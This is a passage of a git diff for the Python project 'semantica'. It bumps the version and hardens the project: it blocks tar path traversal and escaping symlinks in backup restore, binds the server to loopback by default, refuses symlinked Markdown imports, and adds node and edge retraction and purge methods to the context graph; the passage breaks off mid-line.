--hash=sha256:17f57620f5475b3c69109376cc87e42a7af5db13c9398e4292772a706ff10780 \ + --hash=sha256:2120b96872df4a117cde97d270bac96aea7cc52205d305cf4611df694a487027 \ + --hash=sha256:240cbec09667c1fed4c6cd0060b9ec57332427d7441289a2ed8875dc9fb2b224 \ + --hash=sha256:24e861e9630e0daddcb9191fb187f60f034e17a4426f8101279f0c475cd74144 \ + --hash=sha256:2729fcfc4f6a596fb0c50f32090400aa9367774ac296a00387e65098c0befa76 \ + --hash=sha256:2c1fe720934a16ea8e7146175cba2126f87f54912c8c5435e7f7c7a51ef808d3 \ + --hash=sha256:2cabe6546e41dabe439999a23fcb5246e0c3b595b4315b96ef755252be90caeb \ + --hash=sha256:2dbe06fc16bc91502bca713704022182e5729861ae00277c3a23354b40929740 \ + --hash=sha256:3363fcc96e665878946ad7a106b9a13eac0541766a690ef287c0232ac768b6ec \ + --hash=sha256:377fe3732edbaf78ee74efdf2c9f49f6e99f20e7f9d2649fda3eb4badd77d76e \ + --hash=sha256:3ac6aff147deb9c09461b2d4bbdf6256831198f5d8a23f5d37138213090b6d8a \ + --hash=sha256:3f45789ce415a7ec0820dc4f82925f9b5f7732070be1dec1f5f23ec381435a24 \ + --hash=sha256:4103b77b8a8225e413107d2349b65eb3c1c52627b5cc5c3c4c1c6a798b218950 \ + --hash=sha256:4377407001ca3c057773f44d8ddd6358fa5f691407c1ba92210bd3cf8d9e4c95 \ + --hash=sha256:46c2f213e23a04b93a392942d782eb9e413e6ef6bf7c8c53884e599a5c174dcb \ + --hash=sha256:47e98aab9d8d82ff682e7b0b5dded33bf138a32b817fcf7fa3b27b2d7c412928 \ + --hash=sha256:4a36f9becdd4c5c52a20c3e9484128b070b1dcfc8944c006f3a528295a359a9c \ + --hash=sha256:4af7b7e1be0a69bee8210735fe6dcfc38879adfac6d62e789d53ba432d1ffa41 \ + --hash=sha256:4d97a951a81039050e45f04e96689b58b8243fa5e62aa14fe67cb6075300885e \ + --hash=sha256:4db9aecb141cb7a5447171b57aa1ed3a8fee06af40b992ffc31206c0b0121550 \ + --hash=sha256:53e549287ef628fecba270045c9701b0c564563a9b0577d24a4ec75b8ab8040f \ + --hash=sha256:56b149b22de33b23b0c6077ab9518c6dcb538ad462e1830e68d06591ccf6e38b \ + --hash=sha256:570fec8fbd22b032733625f03f10b7ff023bc399213db15e72a7acaef28c2f4e \ + --hash=sha256:5b8ee53be440a0cffc991a27be3057e0530122548dbe7c0892df08822fce5ede \ + --hash=sha256:5ba4f78df2bcc19f764a4b26a8a4f5049c110090ad5825993aacb052bf8003ad \ + --hash=sha256:5c55256dee8f4b27bfbf636c8363383c7c8db7890c7cba5217d7bd5f5f21dab6 \ + --hash=sha256:5c88e5815a49d289e599f3513aa7fde0bc2092ff188f99c940f007f90f53d104 \ + --hash=sha256:5fede79c6f73ff2c3ef822864cb1ada23196e62756df53bc6231d351a49516a2 \ + --hash=sha256:65be18ec59496c13908f02a2472751d9ef840b4f3fb5726f129306bf6a2a7bba \ + --hash=sha256:66410eb6345d467151934b49bfa70fb32f5b35a6140baa40ad97d6436abea2e9 \ + --hash=sha256:665b0a2c463cc9423dd647e0bfd9f4ccc9b50f768c55304d5e9f80b177c1de12 \ + --hash=sha256:6b8536851f9f65e7f00c7a1d49ba7f2be0ffe2c11555367fc9f50d9f842410a1 \ + --hash=sha256:6c95b17fe34ed802f17e205112e6e10db92275c34fee290aa9bdc55a9c724027 \ + --hash=sha256:6e73e7fe93f17a7b191f52ec9da9dd8c06a8fe735a1ecbd13b97d1c723bff385 \ + --hash=sha256:6efbccc3d7f75d5b03105172a8dc86d82ba4da86817952529dd93185f4a88be2 \ + --hash=sha256:709f1efed56c4a145793c046cd4939f9959bcd818979a787b77d8e09c57a0840 \ + --hash=sha256:79af890482fc94648e8cde4c68620378f7fef60932710fa17a66abc039244da2 \ + --hash=sha256:7bcbe0fcf850eae67b6b01749815a4f7161c560a844c769ad7b48fcd99f791c4 \ + --hash=sha256:7c0494a31a1ac5461a226e7947a9c9b78c44e1dc7185164fa7e9651557a5d9bc \ + --hash=sha256:7ce27823052e2013b597e0c738b13e7e36b8ccb9400df8959417b052ab0fd92c \ + --hash=sha256:7f72c74aa99359e27a2ee8d6613fefa28b5f76a983c083074dfc2aaa4ab46213 \ + --hash=sha256:7fa5e51397466ea7e98de493fa2ff1b8193cfef8a7b0f9b4842f92d342df0dba \ + --hash=sha256:82632daed195dcc8ea664e8556dc9bdbd671960fb3776bd92806ce05792c2448 \ + --hash=sha256:82f75e05912e84b7a0fe57075d9c59de3cb352b928330f2eb69b2e1f54c3e1f0 \ + --hash=sha256:841f0852f48fefea3b12c9dfec00704dfa3aef5215d0e3ce564bb3d7cd8d57c6 \ + --hash=sha256:874019bd513008b009f58657134e5d0c5e030b3559bd0553976837adf52fe966 \ + --hash=sha256:88f50c94e21a0a7f14042c015b0eba1881af78562e7bf007e0033e624da59750 \ + --hash=sha256:89a1bbb58e0e3f7a283653d854b1e95d65e5cfd4af224dac5f02629ec1a3e621 \ + --hash=sha256:8a6987eaad834cb32dd57d9d582225f0054a5d1af706ccfbbdba735af4927e13 \ + --hash=sha256:8ac73abdc7ab75610f95a8fd994c6457e87752b02a63987e188f937a1fc180f0 \ + --hash=sha256:8ccf9aca873b767977c73df497a85dbedee4ee086ae9ae49dc461333b9b79f58 \ + --hash=sha256:90333fd89b43c0d08ac85f3f1447593fc2c66de18c3d6378d7125ea118dc7a54 \ + --hash=sha256:92ab3e11448f2ff7bf53c5a26eff0edc086898ec8b21fb154b85839ce1d88075 \ + --hash=sha256:9335a099ad87287c37fe5d1a982ff392fa5efe5d14b40a730b1ec1d6a41382b4 \ + --hash=sha256:96d30286dd02679e32a39aa8f0b7498fc847fcda46cfc09df5513e82ce252440 \ + --hash=sha256:9baafc71b04f8f4bb0703b21d6fc9f0c30b346c636a532ff16ec8491a5ea4b1f \ + --hash=sha256:9d1216a7f6f77836617dba35687c5b78a4170afc3c3f18fc788f785ba26565c4 \ + --hash=sha256:9d399bdcfb4a0f659b9b3788bbc89babe63d9a6a65aacdf4d4e7065ff2e6316c \ + --hash=sha256:9e4e16c73d717c5cf27626c524d0a2e261ad20e46932b2670f64ad5dde23e26f \ + --hash=sha256:9f4d8cf085a4c6a40fb97ea0f46938a8df43c85d31f9d45e2a8867ea9293790d \ + --hash=sha256:a33700d13d9b7d84fd10947b09ff69fb9a792e519c8cb9764a3ca70baa6c23a7 \ + --hash=sha256:a3732e66413163e72508da9eff9ce9d2846fde51fae45d3605393d3e6cd303e9 \ + --hash=sha256:a4582acf7ef76482f6f511ebaf1946dae7f2e85ec4728b81a678c01df63bd723 \ + --hash=sha256:a61834fb15d81322d872eaafd333838ae7c9cea84067f232656f75965933d047 \ + --hash=sha256:a7cff474ab7cd149765bb784cf6d78b32e18e20473fb7bda860bce98ab58e9da \ + --hash=sha256:a8fe66b8f300da93798025a785a5b90b42f3810dc2b72283ff84a41aaaebc293 \ + --hash=sha256:a929d878fec099030c292803b31e5d5540a7b6a31e6a3cc76cb4685fc2a2f51b \ + --hash=sha256:ad5d8201d310b031e6cd839d9bac2d4e5a01533ce5d3d5b50b7de1ef3af1de61 \ + --hash=sha256:af3aefa655adb5869491fa907e652290386800ae99cc50095cba71e2c6aefdca \ + --hash=sha256:c0ebc836c47a6477e182169c6a476fc691d12b518894bf7dd2572f0d59f1c7ed \ + --hash=sha256:c687ed078e145f5fd53a14854beff320e1d2ab76df03e2009c98f39a0f68f39a \ + --hash=sha256:cbb833ccacdb5519eff9b8b71ee618cc2801c878e77e288775d77c3a2ced858a \ + --hash=sha256:cf139c02f5f23ef6532040a30ff662c00a318c952334f211046b8e60b7f17688 \ + --hash=sha256:d46b86567dd4e248c6c159fcbcdcce01e0a5c8a7cd2334a0fff759d0fa075b16 \ + --hash=sha256:d693396e5aea78db03decd60aec9ece16c9b40ba00a587f089615ff4e718a81d \ + --hash=sha256:d897129df1a22b12aeed2c2c98df0785a2e8e6e0bde87b389491d0025c187077 \ + --hash=sha256:daba5e594f06114e37db186efd2dd916609071e59daca901a0a2e71f02b142ce \ + --hash=sha256:dd625535328fd9882374356269227670189adfcc6a2d90284f323c05862eecbd \ + --hash=sha256:e006d3a974c4ee19512e5f058abedb6eef36a5e553c14812bdeba1758d812e6d \ + --hash=sha256:e1ae548a9d901adca07899a4147a7c826bbcc06239d3ce9a59f57886a28a4c88 \ + --hash=sha256:e2935f8c39e3b03e83519292d78f075189978f3f4adc15a78144c7c8e2a1cba5 \ + --hash=sha256:e42d75862735da90e7fc5a7b23db0c976f737113a54b3c9777a9b665e9cbff75 \ + --hash=sha256:e7d42c531243450ef0d4d9c172e7ed6ef052640f195629065041b5add4e058d1 \ + --hash=sha256:e81b83143bee16329c23db3c1b2d82b29892fcbcb849186d2f6e98a5abe9a57f \ + --hash=sha256:e8ffa78582120024f476a611d7befc123cee59e47e8309d470cf667d806e613b \ + --hash=sha256:ebb0ec7f17803063d5aeb982f3b1bd2b2f4e4fae6751226cbd6ba1fcfe9e63ff \ + --hash=sha256:f08c7513ecef5aad65687bfdf6bc601ae9fccd04a42904501f8f7141abad9eb9 \ + --hash=sha256:f0a658a6d3fafee5c6f63c58f3e785c8c43c93fbc02bf9f2b6663f8185e0971f \ + --hash=sha256:f0e466ed7511fe9d459a819edbc6c2585c0b6eabde9fa8a8947552468a7a6ef0 \ + --hash=sha256:f141474e85b7e54998ec5180530a7cda99ab29e282fa50e0756d89981a9b43c5 \ + --hash=sha256:f4239bbec5a3577ddb49e4b50aeb32d8e5792098262ae2f63723f916a29b1a25 \ + --hash=sha256:f540c013589084679a6c7fac07096b10159737918174f5dfc5e11bf5bca4dfe6 \ + --hash=sha256:f9f3e9c8a9ecffa57bef8fb4fa19e5fa4d2d8307cf6bac5b1fca5e5860f4ba00 \ + --hash=sha256:fa139875ff98ab97da323cfadfaff08900d1ad42f1b5087b0b812a55c5a06373 \ + --hash=sha256:fcd3b77e2f17bbe4ca56ec7bcb07992647d19d0b9c05d84886dcd6f9eb810afd \ + --hash=sha256:fd8c81f346b58f45818d09ea11db69a8d5fd34a224b79871f6d44f12cd7977b1 \ + --hash=sha256:fe7b7bb170daccbba19ad33012d2b15f1e7942296fd4d45fc1b79013da8cc0f2 \ + --hash=sha256:ff330d3c30db4eb6b01d79e29d2d0b407a7ecad39cfd9ec993ece57396a2ec0d \ + --hash=sha256:ff405d91509d88e8d44129cd87b18d70acd1f0c1aeabd7bc3c46792b1fe2acba \ + --hash=sha256:ffcd54362564dc1a30fb74d8b8a6e5a6b11ebd5e27266adc3b7427a21a6c9104 + # via aiohttp +zipp==4.1.0 \ + --hash=sha256:25ad4e16390cd314347dd8f1de67a2ac538ae658ed4ab9db16029c07c188e97f \ + --hash=sha256:4cb57381f544315db7688e976e922a2b18cdb513d21cc194eb42232ba2a3e602 + # via importlib-metadata diff --git a/semantica/__init__.py b/semantica/__init__.py index e5f0ead9..79f83236 100644 --- a/semantica/__init__.py +++ b/semantica/__init__.py @@ -10,7 +10,7 @@ Main exports: - Config: Configuration management """ -__version__ = "0.6.0" +__version__ = "0.6.5" __author__ = "Semantica Contributors" __license__ = "MIT" diff --git a/semantica/cli.py b/semantica/cli.py index 5b179c13..403971e0 100644 --- a/semantica/cli.py +++ b/semantica/cli.py @@ -20,7 +20,7 @@ if sys.platform == "win32": sys.stderr.reconfigure(encoding="utf-8", errors="replace") from dataclasses import asdict, dataclass, field, is_dataclass -from pathlib import Path +from pathlib import Path, PurePosixPath, PureWindowsPath from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Sequence, Tuple import yaml @@ -3933,15 +3933,68 @@ def backup_restore(cli_ctx: CLIContext, source: str, local_dry: bool) -> None: try: if _tf.is_tarfile(str(work_path)): - restore_root = Path.cwd() + restore_root = Path.cwd().resolve() with _tf.open(str(work_path), "r:*") as tar: # Dry-run listing was already handled above; extract now for member in tar.getmembers(): # Strip the leading "semantica-backup/" prefix member.name = member.name.replace("semantica-backup/", "", 1) - if member.name: - tar.extract(member, path=str(restore_root)) - console.print(f" restored: {member.name}") + if not member.name: + continue + + # Reject members whose resolved path escapes the + # restore root (path traversal / absolute paths), + # regardless of the "semantica-backup/" prefix. + member_path = (restore_root / member.name).resolve() + try: + member_path.relative_to(restore_root) + except ValueError: + raise click.ClickException( + f"Refusing to restore '{member.name}': " + "path escapes the restore directory." + ) + + # Reject symlink/hardlink members whose target + # escapes the restore root. Checked two ways: + # lexically (linkname itself, so an absolute path or + # a literal ".." segment is rejected outright, with + # no dependence on what else does or doesn't already + # exist on disk) and by resolution (catches any + # remaining traversal the lexical check misses). + if member.issym() or member.islnk(): + linkname = member.linkname or "" + linkname_parts = PurePosixPath( + linkname.replace("\\", "/") + ).parts + if ( + not linkname + or os.path.isabs(linkname) + or PureWindowsPath(linkname).is_absolute() + or ".." in linkname_parts + ): + raise click.ClickException( + f"Refusing to restore '{member.name}': " + "link target is absolute or traverses " + "out of the archive." + ) + link_target = ( + member_path.parent / linkname + ).resolve() + try: + link_target.relative_to(restore_root) + except ValueError: + raise click.ClickException( + f"Refusing to restore '{member.name}': " + "link target escapes the restore directory." + ) + + extract_kwargs: Dict[str, Any] = {"path": str(restore_root)} + if hasattr(_tf, "data_filter"): + # Python >=3.12: also reject device files, and + # further harden the traversal/ownership checks. + extract_kwargs["filter"] = "data" + tar.extract(member, **extract_kwargs) + console.print(f" restored: {member.name}") elif src.is_dir(): restore_root = Path.cwd() for f in src.rglob("*"): @@ -4065,7 +4118,7 @@ def server(ctx: click.Context) -> None: @click.option("--port", default=8000, type=int, show_default=True) @click.option("--workers", default=1, type=int, show_default=True) @click.option("--reload", is_flag=True, default=False, help="Enable hot reload.") -@click.option("--host", default="0.0.0.0", show_default=True) +@click.option("--host", default="127.0.0.1", show_default=True) @click.pass_obj def server_start(cli_ctx: CLIContext, port: int, workers: int, reload: bool, host: str) -> None: """Start the REST API server. @@ -4076,6 +4129,16 @@ def server_start(cli_ctx: CLIContext, port: int, workers: int, reload: bool, hos """ cli_ctx = _require_ctx(cli_ctx) + _LOOPBACK_HOSTS = {"127.0.0.1", "::1", "localhost"} + if host not in _LOOPBACK_HOSTS: + console.print( + f"[{_WARN_STY}] ⚠[/{_WARN_STY}] Binding to [cyan]{host}[/cyan] exposes " + "the server to the network. Set SEMANTICA_API_KEY before doing this " + "in any reachable environment — without it, protected routes refuse " + "all requests (503), and with SEMANTICA_ALLOW_ANONYMOUS=true they are " + "wide open." + ) + def _action() -> None: import subprocess as sp cmd = [ diff --git a/semantica/context/agent_memory.py b/semantica/context/agent_memory.py index 2f2b8995..38dd122c 100644 --- a/semantica/context/agent_memory.py +++ b/semantica/context/agent_memory.py @@ -59,9 +59,11 @@ License: MIT """ import copy +import errno import hashlib import os import re +import stat import tempfile from collections import deque from dataclasses import dataclass, field @@ -1906,7 +1908,49 @@ class AgentMemory: return memories + def _read_markdown_file_content(self, file_path: Path) -> str: + if file_path.is_symlink(): + raise ValueError(f"Symlink Markdown import paths are rejected: {file_path}") + + flags = os.O_RDONLY + if hasattr(os, "O_NOFOLLOW"): + # On POSIX, O_NOFOLLOW makes os.open() fail with ELOOP if the + # final path component is a symlink, atomically closing the TOCTOU + # window between the is_symlink() check above and the open call. + # On Windows, O_NOFOLLOW is not available; the is_symlink() pre-check + # above is the only symlink defense and remains vulnerable to a narrow + # race. The fstat()/S_ISREG guard below still rejects special files + # (FIFOs, devices) on both platforms. + flags |= os.O_NOFOLLOW + + try: + fd = os.open(str(file_path), flags) + except OSError as exc: + if exc.errno == getattr(errno, "ELOOP", None): + raise ValueError( + f"Symlink Markdown import paths are rejected: {file_path}" + ) from exc + raise + + try: + stat_res = os.fstat(fd) + if not stat.S_ISREG(stat_res.st_mode): + raise ValueError( + f"Markdown import path is not a regular file: {file_path}" + ) + with open(fd, "r", encoding="utf-8", closefd=True) as f: + return f.read() + except Exception: + try: + os.close(fd) + except OSError: + pass + raise + def _read_markdown_path(self, path: Path) -> List[Tuple[str, str]]: + if path.is_symlink(): + raise ValueError(f"Symlink Markdown import paths are rejected: {path}") + if not path.exists(): raise FileNotFoundError(f"Markdown import path does not exist: {path}") @@ -1916,6 +1960,7 @@ class AgentMemory: file_path for file_path in path.iterdir() if file_path.is_file() + and not file_path.is_symlink() and file_path.suffix.lower() in self._MARKDOWN_EXTENSIONS ), key=lambda file_path: (file_path.name.casefold(), file_path.name), @@ -1926,7 +1971,7 @@ class AgentMemory: raise ValueError(f"Markdown import path is not a file or directory: {path}") return [ - (str(file_path), file_path.read_text(encoding="utf-8")) + (str(file_path), self._read_markdown_file_content(file_path)) for file_path in file_paths ] diff --git a/semantica/context/context_graph.py b/semantica/context/context_graph.py index 06419759..ac3f134f 100644 --- a/semantica/context/context_graph.py +++ b/semantica/context/context_graph.py @@ -72,9 +72,9 @@ Example Usage: ... node_embeddings=True) >>> >>> # Basic graph operations - >>> graph.add_node("Python", type="language", properties={"popularity": "high"}) - >>> graph.add_node("Programming", type="concept") - >>> graph.add_edge("Python", "Programming", type="related_to") + >>> graph.add_node("Python", "language", popularity="high") + >>> graph.add_node("Programming", "concept") + >>> graph.add_edge("Python", "Programming", "related_to") >>> centrality = graph.get_node_centrality("Python") >>> similar = graph.find_similar_nodes("Python", similarity_type="content") >>> analysis = graph.analyze_graph_with_kg() @@ -88,7 +88,7 @@ Example Usage: ... confidence=0.95, ... entities=["customer_123", "property_456"] ... ) - >>> precedents = graph.find_precedents("loan_approval", limit=5) + >>> precedents = graph.find_precedents(decision_id, limit=5) >>> influence = graph.analyze_decision_influence(decision_id) >>> insights = graph.get_decision_insights() >>> causality = graph.trace_decision_causality(decision_id) @@ -188,6 +188,26 @@ def _normalize_temporal_input(value: Optional[Union[str, int, float, datetime]]) raise ValueError("Temporal values must be datetime, epoch seconds, ISO strings, or None") +def _closing_valid_until(current: Optional[str], at_iso: str) -> str: + """Return the earlier of an existing end bound and a retraction time. + + Retraction closes a validity window and must never widen one: an entity + added with ``valid_until`` already in the past would otherwise be reported + active by ``is_active``/``state_at`` for the span between its original end + and the retraction. An unparseable ``current`` imposes no end bound at all + (see :func:`_parse_iso_dt`), so ``at_iso`` still closes it. + """ + if current is None: + return at_iso + existing = _parse_iso_dt(current) + if existing is None: + return at_iso + requested = _parse_iso_dt(at_iso) + if requested is None or existing <= requested: + return current + return at_iso + + def _pick_first(*values: Any) -> Any: for value in values: if value is None: @@ -410,6 +430,15 @@ class ContextEdge: return d +_ATTRS_MISSING = object() + +#: Edge types that represent an explicitly recorded causal relationship between +#: two decisions. These are authoritative: they are what the caller asserted via +#: add_causal_relationship(), as opposed to relationships inferred from shared +#: entities and timestamps. +_CAUSAL_EDGE_TYPES = ("CAUSED", "INFLUENCED", "PRECEDENT_FOR") + + class ContextGraph: """ Easy-to-Use Context Graph with All Advanced Features. @@ -455,6 +484,7 @@ class ContextGraph: self.nodes: Dict[str, ContextNode] = {} self.edges: List[ContextEdge] = [] + self._edge_index: Dict[str, ContextEdge] = {} self._adjacency: Dict[str, List[ContextEdge]] = defaultdict(list) @@ -466,6 +496,15 @@ class ContextGraph: self._unresolved_links: Dict[str, Dict[str, str]] = {} + # Retraction closes an entity's validity window but keeps it in the + # graph; a tombstone records that an entity was purged outright, + # without retaining the purged content. Keyed by + # ``(entity_kind, entity_id)`` -- node ids are caller-supplied strings + # and edge ids are UUID strings, so a single id keyspace would let a + # node record mask an edge of the same id, and vice versa. + self._retractions: Dict[Tuple[str, str], Dict[str, Any]] = {} + self._tombstones: Dict[Tuple[str, str], Dict[str, Any]] = {} + self.progress_tracker = get_progress_tracker() @@ -708,18 +747,71 @@ class ContextGraph: }) return result - def get_node_property(self, node_id: str, property_name: str) -> Any: - with self._lock: - node = self.nodes.get(node_id) - if not node: - return None - return node.properties.get(property_name) + def get_node_property( + self, + node_id: str, + property_name: str, + default: Any = None, + ) -> Any: + """Return the value of *property_name* on *node_id*. - def get_node_attributes(self, node_id: str) -> Dict[str, Any]: + Returns *default* when the node does not exist or when the property is + not set on the node. Both failure modes return the same *default*, so + a sentinel can identify *any not-found result* as distinct from a + property whose value is legitimately ``None``:: + + _MISSING = object() + val = graph.get_node_property(node_id, "score", default=_MISSING) + if val is _MISSING: + ... # node absent or property not set + + To distinguish a missing node from a missing property specifically, + call ``find_node()`` first to check node existence. + + Args: + node_id: ID of the node to look up. + property_name: Name of the property to retrieve. + default: Value returned when the node or property is absent. + Defaults to ``None`` (backward-compatible). + + Returns: + The property value, or *default* if not found. + """ with self._lock: node = self.nodes.get(node_id) - if not node: - return {} + if node is None: + return default + return node.properties.get(property_name, default) + + def get_node_attributes( + self, + node_id: str, + default: Any = _ATTRS_MISSING, + ) -> Any: + """Return a copy of all properties on *node_id*. + + Returns *default* when the node does not exist. The historical + default is ``{}`` (an empty dict), preserved for backward + compatibility. Pass a private sentinel as *default* to detect a + missing node unambiguously:: + + _MISSING = object() + attrs = graph.get_node_attributes(node_id, default=_MISSING) + if attrs is _MISSING: + ... # node does not exist + + Args: + node_id: ID of the node to look up. + default: Value returned when the node is absent. + Defaults to ``{}`` (backward-compatible). + + Returns: + A shallow copy of the node's properties dict, or *default*. + """ + with self._lock: + node = self.nodes.get(node_id) + if node is None: + return {} if default is _ATTRS_MISSING else default return node.properties.copy() def add_node_attribute(self, node_id: str, attributes: Dict[str, Any]) -> None: @@ -730,13 +822,28 @@ class ContextGraph: node.properties.update(attributes) node.metadata.update(attributes) - if getattr(self, "mutation_callback", None) and not getattr( self, "_suspend_mutation_callback", False ): - self.mutation_callback("UPDATE_NODE", node_id, node.to_dict()) + try: + self.mutation_callback("UPDATE_NODE", node_id, node.to_dict()) + except Exception as e: + self.logger.warning(f"Audit trail callback failed for node {node_id}: {e}") def get_edge_data(self, source_id: str, target_id: str) -> Dict[str, Any]: + """Return metadata for the edge between *source_id* and *target_id*. + + Returns an empty dict ``{}`` when no edge exists between the two nodes + or when either node is absent. + + Args: + source_id: ID of the source node. + target_id: ID of the target node. + + Returns: + A dict containing edge metadata (``id``, ``familyId``, ``type``, + ``weight``, plus any custom metadata), or ``{}`` if not found. + """ with self._lock: for edge in self._adjacency.get(source_id, []): if edge.target_id == target_id: @@ -1043,11 +1150,16 @@ class ContextGraph: # Clear existing self.nodes.clear() self.edges.clear() + self._edge_index.clear() self._adjacency.clear() self.node_type_index.clear() self.edge_type_index.clear() self._linked_graphs.clear() self._unresolved_links.clear() + # Deletion metadata belongs to the graph being replaced; keeping it + # would make entities in the loaded graph read as already retracted. + self._retractions.clear() + self._tombstones.clear() if "graph_id" in data: self.graph_id = data["graph_id"] @@ -1080,7 +1192,17 @@ class ContextGraph: self.logger.info(f"Loaded context graph from {path}") def find_node(self, node_id: str) -> Optional[Dict[str, Any]]: - """Find a node by ID.""" + """Return a dict representation of the node identified by *node_id*. + + Returns ``None`` when the node does not exist. + + Args: + node_id: ID of the node to look up. + + Returns: + A dict with keys ``id``, ``type``, ``content``, and ``metadata``, + or ``None`` if the node is not found. + """ with self._lock: node = self.nodes.get(node_id) if node: @@ -1431,16 +1553,384 @@ class ContextGraph: max_edges = n * (n - 1) return len(self.edges) / max_edges + def retract_node( + self, + node_id: str, + reason: Optional[str] = None, + at: Optional[Union[str, datetime]] = None, + cascade: bool = True, + ) -> bool: + """Retract a node: no longer active, but still visible in history. + + Closes the node's validity window rather than deleting it, so + :meth:`state_at` before ``at`` still returns the node and any decision + recorded against it remains explainable. Use :meth:`purge_node` when + the data itself has to be gone. + + Args: + node_id: Node to retract. + reason: Why it was retracted, stored on the retraction record. + at: When the retraction takes effect (ISO string or datetime). + Defaults to now, UTC. + cascade: Also retract every edge touching the node. Leaving edges + active around an inactive node means :meth:`find_active_nodes` + drops the node while its relationships still read as current, + so the default keeps the active view self-consistent. + + Retraction is expressed through the temporal window, so it is visible + to the activity-aware views -- :meth:`find_active_nodes`, + :meth:`state_at`, ``ContextNode.is_active`` -- and not to membership + checks like :meth:`has_node` or :meth:`stats`, which continue to count + the retained record. That matches how ``valid_until`` already behaved + before retraction existed. + + A node whose ``valid_until`` is already earlier than ``at`` keeps that + earlier bound: retraction only ever closes a validity window, never + widens one. + + Returns: + True if the node was retracted; False if it does not exist or was + already retracted. + + Note: + Emits ``UPDATE_NODE`` to the audit-trail callback, since retraction + changes the validity window rather than removing the record. + """ + at_iso = _normalize_temporal_input(at) or datetime.now(timezone.utc).isoformat() + with self._lock: + node = self.nodes.get(node_id) + if node is None: + self.logger.warning("Cannot retract unknown node: %r", node_id) + return False + if ("node", node_id) in self._retractions: + return False + + node.valid_until = _closing_valid_until(node.valid_until, at_iso) + record = { + "entity_id": node_id, + "entity_kind": "node", + "retracted_at": at_iso, + "reason": reason, + } + self._retractions[("node", node_id)] = record + node_payload = {**node.to_dict(), "retraction": dict(record)} + + cascaded: List[Tuple[str, Dict[str, Any]]] = [] + if cascade: + # Snapshotted once, before the loop: edge_id is content-derived + # and not guaranteed unique (#922), so two distinct edge objects + # can share one id. Checking the live _retractions dict inside + # the loop would let the first duplicate's record block the + # second from ever being closed, leaving it active indefinitely + # while its retraction record claimed otherwise. + already_retracted_edge_ids = { + key[1] for key in self._retractions if key[0] == "edge" + } + for edge in self._incident_edges(node_id): + if edge.edge_id in already_retracted_edge_ids: + continue + edge.valid_until = _closing_valid_until(edge.valid_until, at_iso) + edge_record = { + "entity_id": edge.edge_id, + "entity_kind": "edge", + "retracted_at": at_iso, + "reason": reason, + "cascaded_from": node_id, + } + self._retractions[("edge", edge.edge_id)] = edge_record + # Payloads are snapshotted here, not read back after the + # lock is released: a concurrent clear() would otherwise + # wipe the record out from under the emission below. + cascaded.append( + ( + edge.edge_id, + {**edge.to_dict(), "retraction": dict(edge_record)}, + ) + ) + + self._emit_mutation("UPDATE_NODE", node_id, node_payload) + for edge_id, edge_payload in cascaded: + self._emit_mutation("UPDATE_EDGE", edge_id, edge_payload) + self.logger.info( + "Retracted node %r at %s (cascaded %d edge(s))", + node_id, + at_iso, + len(cascaded), + ) + return True + + def retract_edge( + self, + edge_id: str, + reason: Optional[str] = None, + at: Optional[Union[str, datetime]] = None, + ) -> bool: + """Retract a single edge, leaving its endpoints untouched. + + An edge whose ``valid_until`` is already earlier than ``at`` keeps that + earlier bound; retraction never widens a validity window. + + Args: + edge_id: Edge to retract. + reason: Why it was retracted. + at: When the retraction takes effect. Defaults to now, UTC. + + Returns: + True if the edge was retracted; False if it does not exist or was + already retracted. + + Note: + ``edge_id`` is content-derived and not guaranteed unique (#922): + two distinct edge objects can share one id. Every edge matching + ``edge_id`` is closed under a single retraction record, so a + duplicate can never be left silently active while the record + claims it was retracted. + """ + at_iso = _normalize_temporal_input(at) or datetime.now(timezone.utc).isoformat() + with self._lock: + edges = [e for e in self.edges if e.edge_id == edge_id] + if not edges: + self.logger.warning("Cannot retract unknown edge: %r", edge_id) + return False + if ("edge", edge_id) in self._retractions: + return False + + record = { + "entity_id": edge_id, + "entity_kind": "edge", + "retracted_at": at_iso, + "reason": reason, + } + self._retractions[("edge", edge_id)] = record + for edge in edges: + edge.valid_until = _closing_valid_until(edge.valid_until, at_iso) + payload = {**edges[0].to_dict(), "retraction": dict(record)} + + self._emit_mutation("UPDATE_EDGE", edge_id, payload) + self.logger.info( + "Retracted edge %r at %s (%d underlying record(s))", + edge_id, + at_iso, + len(edges), + ) + return True + + def purge_node( + self, + node_id: str, + reason: Optional[str] = None, + at: Optional[Union[str, datetime]] = None, + cascade: bool = True, + ) -> bool: + """Permanently remove a node; history no longer contains it. + + Unlike :meth:`retract_node` this is destructive: the node disappears + from :meth:`state_at` as well as from the active view. Only a tombstone + remains, recording that a purge happened and why -- deliberately + without the purged content, since retaining it would defeat the point. + + Scope is this graph only. Copies held elsewhere (``AgentMemory``, a + bound vector store, an exported file) are not reached, so this is one + step of an erasure workflow, not the whole of it. + + Args: + node_id: Node to purge. + reason: Why it was purged, e.g. an erasure-request reference. + at: When the purge takes effect, recorded as the tombstone's + ``purged_at`` (ISO string or datetime). Defaults to now, UTC. + cascade: Also purge every edge touching the node, and the marker + node of any cross-graph link it exits through. Defaults to True + because leaving edges pointing at a removed node produces + dangling endpoints. + + Cross-graph links registered by :meth:`link_graph` out of this node are + deregistered either way -- a link whose source no longer exists would + still resolve through :meth:`navigate_to` and still be serialized by + :meth:`save_to_file`. + + Returns: + True if the node was purged; False if it does not exist. + + Note: + Emits ``REMOVE_NODE``/``REMOVE_EDGE`` to the audit-trail callback. + """ + purged_at = ( + _normalize_temporal_input(at) or datetime.now(timezone.utc).isoformat() + ) + with self._lock: + if node_id not in self.nodes: + self.logger.warning("Cannot purge unknown node: %r", node_id) + return False + + # The link marker node is scaffolding reachable only from the node + # being purged, so it goes with the cascade rather than surviving as + # an orphan. Resolve the markers before deregistering the links they + # are derived from. + targets = [node_id] + if cascade: + targets.extend(self._cross_graph_marker_nodes(node_id)) + for link_id in self._cross_graph_links_for(node_id): + self._linked_graphs.pop(link_id, None) + self._unresolved_links.pop(link_id, None) + + # Tombstones are snapshotted into locals before the lock is + # released; reading them back afterwards would race a clear(). + purged_edges: List[Tuple[str, Dict[str, Any]]] = [] + purged_nodes: List[Tuple[str, Dict[str, Any]]] = [] + for target in targets: + cascaded_from = None if target == node_id else node_id + if cascade: + for edge in self._incident_edges(target): + self._drop_edge_from_indexes(edge) + edge_record = { + "entity_id": edge.edge_id, + "entity_kind": "edge", + "purged_at": purged_at, + "reason": reason, + "cascaded_from": node_id, + } + self._tombstones[("edge", edge.edge_id)] = edge_record + self._retractions.pop(("edge", edge.edge_id), None) + purged_edges.append((edge.edge_id, dict(edge_record))) + + self._drop_node_from_indexes(target) + node_record = { + "entity_id": target, + "entity_kind": "node", + "purged_at": 